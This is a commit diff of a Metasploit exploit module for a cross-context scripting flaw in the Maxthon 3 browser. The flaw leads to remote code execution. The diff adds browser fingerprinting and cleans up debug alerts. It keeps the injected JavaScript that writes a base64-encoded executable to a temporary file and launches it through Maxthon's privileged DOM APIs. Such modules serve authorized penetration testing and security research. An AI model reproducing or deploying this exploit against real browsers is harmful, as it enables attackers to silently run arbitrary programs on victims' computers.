@@ -22,14 +22,14 @@ def initialize(info = {})
22
22
Injection in such privileged/trusted browser zone can be used to modify
23
23
configuration settings and execute arbitrary commands.
24
24
} ,
25
- 'License' => BSD_LICENSE ,
25
+ 'License' => MSF_LICENSE ,
26
26
'Author' =>
27
27
[
28
28
'Roberto Suggi Liverani' , # Discovered the vulnerability and developed msf module
29
29
] ,
30
30
'References' =>
31
31
[
32
- [ 'URL' , 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html' ] ,
32
+ [ 'URL' , 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html' ]
33
33
] ,
34
34
'Payload' =>
35
35
{
@@ -45,19 +45,28 @@ def initialize(info = {})
45
45
) )
46
46
end
47
47
48
+ def is_maxthon3? ( request )
49
+ request . headers [ 'User-Agent' ] =~ /Maxthon\/ 3\. 0/ ? true : false
50
+ end
51
+
48
52
def on_request_uri ( cli , request )
53
+ if not is_maxthon3? ( request )
54
+ print_error ( "Client isn't a Maxthon3 browser. Sending 404" )
55
+ send_not_found ( cli )
56
+ end
49
57
50
- html_hdr = %Q^
58
+ html_hdr = %Q|
51
59
<html>
52
60
<head>
53
61
<title>Loading</title>
54
- ^
55
- html_ftr = %Q^
62
+ |
63
+
64
+ html_ftr = %Q|
56
65
</head>
57
66
<body >
58
67
<h1>Loading</h1>
59
68
</body></html>
60
- ^
69
+ |
61
70
62
71
case request . uri
63
72
when /\? jspayload/
@@ -74,21 +83,15 @@ def on_request_uri(cli, request)
74
83
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
75
84
# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
76
85
# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
77
- content =
78
- %Q{
86
+ content = %Q{
79
87
if(maxthon.program)
80
88
{
81
- alert(1);
82
89
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
83
90
var fileObj = maxthon.io.File(fileTemp);
84
91
maxthon.io.FileWriter(fileTemp);
85
92
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{ penc2 } ");
86
93
maxthon.program.Program.launch(fileTemp.name_,"C:");
87
94
}
88
- else
89
- {
90
- alert(2);
91
- }
92
95
}
93
96
94
97
when /\? history/
@@ -97,13 +100,15 @@ def on_request_uri(cli, request)
97
100
location.href = "about:history";
98
101
}
99
102
|
103
+
100
104
content = %Q|
101
105
#{ html_hdr }
102
106
<script>
103
107
#{ js }
104
108
</script>
105
109
#{ html_ftr }
106
110
|
111
+
107
112
when get_resource ( )
108
113
print_status ( "Sending #{ self . name } payload for request #{ request . uri } " )
109
114
0 commit comments